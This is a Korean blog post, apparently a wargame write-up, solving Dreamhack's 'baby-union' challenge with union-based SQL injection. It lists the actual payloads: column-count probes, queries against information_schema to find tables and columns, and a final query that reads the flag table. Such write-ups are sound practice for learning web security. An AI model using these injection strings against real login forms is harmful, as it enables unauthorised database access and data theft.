웹해킹

[Dreamhack]baby-union풀이

bbostudyy 2025. 5. 13. 21:17

baby-union | 워게임 | Dreamhack | 워게임 | Dreamhack

 

baby-union

Description 로그인 시 계정의 정보가 출력되는 웹 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 컬럼명은 실제 이름과 다릅니다. 플래

dreamhack.io

문제에 들어가보니 로그인 창이 떴고 아무거나 입력했을 때 변화가 없어서 주어진 파일을 확인하였다.

 

코드를 확인해보니 가짜 테이블이 있고 flag 컬럼들에 나눠 저장되어 있는 것 같다. 테이블과 컬럼 이름을 알아낸 뒤, union select를 이용해 fake_table_name의 데이터를 추출하면 flag를 얻을 수 있을 것 같다.

 

[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)

 

[Web 취약점] Injection 공격 방법(SQL Injection 2 : union based injection)

본문의 내용을 가지고 어떠한 프로그램에 공격을 시행하여 발생하는 일은 전적으로 공격을 시행한 본인에게 있습니다. 반드시 실습은 본인이 구축하여 시행하시길 바랍니다. ========================

c-i-s.tistory.com

이 자료를 참고하여  union injection공격 방법이 뭔지 배우고 어떤 쿼리를 입력하여 해결할 수 있는지 확인하였다.

 

 

먼저 컬럼 수가 총 몇개인지 확인하였다. uid부분에

admin'union select 1#

admin'union select 1,2,#

admin'union select 1,2,3,#

admin'union select 1,2,3,4#

로 하나씩 늘려가며 어느부분에서 실행되는지 확인하였고 컬럼 수는 총 4개라는 것을 확인하였다.

 

다음은 테이블 명을 확인할 수 있는 'UNION SELECT ALL null,null,null,null,table_name from information_schema.table#를 입력하여 어떤 테이블들이 있는지 확인하였고 flag가 있을 법한 테이블을 찾았다.

 

 

계속 내려보다가 onlyflag라는 테이블을 찾았고 해당 테이블의 컬럼을 확인하기로 하였다.

'union select column_name,2,3,4 from information_schema.columns where table_name='onlyflag'#를 입력하니 다음과 같은 화면이 나왔다.

 

컬럼들을 조회할 수 있는 ' union select sname, svalue, sflag, sclose from onlyflag # 를 입력하여 컬럼의 데이터를 확인하였고 flag값을 얻었다.

'웹해킹' 카테고리의 다른 글

[suninatas]Game 02 풀이  (0) 2025.05.15
[Dreamhack]ex-reg-ex풀이  (0) 2025.05.13
[Dreamhack]Apache htaccess 풀이  (0) 2025.05.12
[Root me] Directory traversal 풀이  (0) 2025.05.07
[Dreamhack]file-download-1 풀이  (0) 2025.05.07